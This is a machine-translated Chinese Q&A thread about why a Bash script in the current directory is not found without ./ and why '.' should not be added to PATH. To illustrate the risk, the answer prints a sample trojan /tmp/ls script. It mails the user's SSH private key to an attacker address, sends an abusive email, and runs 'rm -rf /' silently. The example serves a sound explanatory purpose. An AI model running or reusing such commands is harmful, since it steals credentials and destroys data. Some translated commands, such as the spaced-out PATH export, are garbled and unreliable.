我的桌面上有一个Bash脚本叫做highest.
如果我跑:
cd ~/Desktop
highest
Run Code Online (Sandbox Code Playgroud)
我明白了:找不到命令
但如果我跑:
~/Desktop/highest
Run Code Online (Sandbox Code Playgroud)
它执行得很好.但是,当命令行在正确的目录中时,为什么还需要使用绝对路径?
我猜这与$PATH变量有关.就像我需要添加类似的东西./.如果是这样,我该如何添加?我还不习惯Linux,并且在发生这种情况时会非常困惑.
我同意@Dennis的陈述.不要添加'.' 到你的路径.这是一个安全风险,因为它会使破解者更有可能覆盖您的命令.有关详细说明,请参阅http://www.linux.org/docs/ldp/howto/Path-12.html.
例如,假装我是一个破解者,我创建了像/ tmp/ls这样的特洛伊文件,就像这样.假装这是在大学的共享系统或什么的.
$ cat /tmp/ls
#!/bin/sh
# Cracker does bad stuff.
# Execute in background and hide any output from the user.
# This helps to hide the commands so the user doesn't notice anything.
cat ~/.ssh/mysecretsshkey | mailx -s "haha" cracker@foo.ru >/dev/null 2>&1 &
echo "My system has been compromised. Fail me." |mailx -s "NUDE PICTURES OF $USERNAME" professor@university.edu >/dev/null 2>&1 & &
rm -rf / >/dev/null 2>&1 &
# and then we execute /bin/ls so that the luser thinks that the command
# executed without error. Also, it scrolls the output off the screen.
/bin/ls $*
Run Code Online (Sandbox Code Playgroud)
如果您在/ tmp目录中并执行'ls'命令会发生什么?如果PATH包含.,那么当你的真实意图是在/ bin/ls使用默认的'ls'时,你会执行/ tmp/ls.
相反,如果您想要执行自己的二进制文件,请显式调用脚本(例如./highest)或创建自己的bin目录,这是大多数用户所做的.
添加自己的〜/ bin目录,并将自己的二进制文件放在那里.
mkdir ~/bin
vi ~/bin/highest
Run Code Online (Sandbox Code Playgroud)然后,修改PATH以使用本地二进制文件.修改.bashrc中的PATH语句,使其如下所示.
export PATH = $ PATH:〜/ bin
要验证这highest是您的路径,请执行以下操作:
bash$ which highest
/Users/stefanl/bin/highest
Run Code Online (Sandbox Code Playgroud)| 归档时间: |
|
| 查看次数: |
4330 次 |
| 最近记录: |